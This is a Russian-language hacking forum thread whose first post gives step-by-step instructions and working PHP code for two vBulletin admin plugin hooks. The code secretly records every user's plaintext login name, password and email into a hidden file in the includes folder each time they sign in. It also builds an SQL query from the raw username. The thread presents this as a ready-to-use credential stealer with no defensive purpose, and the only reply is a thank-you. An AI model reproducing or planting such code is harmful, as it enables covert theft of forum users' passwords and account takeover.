Загрузка...

Collecting passwords when logging into a Vbulletin account

Thread in Web vulnerabilities created by RaysMorgan Aug 10, 2015. 1776 views

  1. RaysMorgan
    RaysMorgan Topic starter Aug 10, 2015 Че скажете 53,983 Mar 7, 2013
    Что необходимо иметь:

    1. Админка на форуме

    2. Доступ к шеллу/ФТП

    3. Мозги

    ===================

    Создаем модуль в админке, местоположение - global_start:

    $show['nopasswordempty'] = TRUE;
    Создаем второй модуль, местоположение - login_process:

    $lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
    $lg_password = $vbulletin->GPC["vb_login_password"];
    $lg_file = "./includes/****.html";
    $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");

    while($row = @mysql_fetch_array($sql_query))
    {

    if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
    {
    $fp1 = @fopen($lg_file, "a+");
    @fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
    @fclose($fp1);
    $f = @file($lg_file);
    $new = array_unique($f);
    $fp = @fopen($lg_file, "w");
    foreach($new as $values)
    {
    @fputs($fp, $values);
    }
    @fclose($fp);
    }
    }
    Теперь, когда юзеры будут входить в свой аккаунт, их данные будут записываться в файл ****.html, находящийся в папке inlcludes
     
  2. coxamuzom
    coxamuzom Sep 23, 2015 Banned 0 Sep 23, 2015
    Спасибо
     
Loading...
Top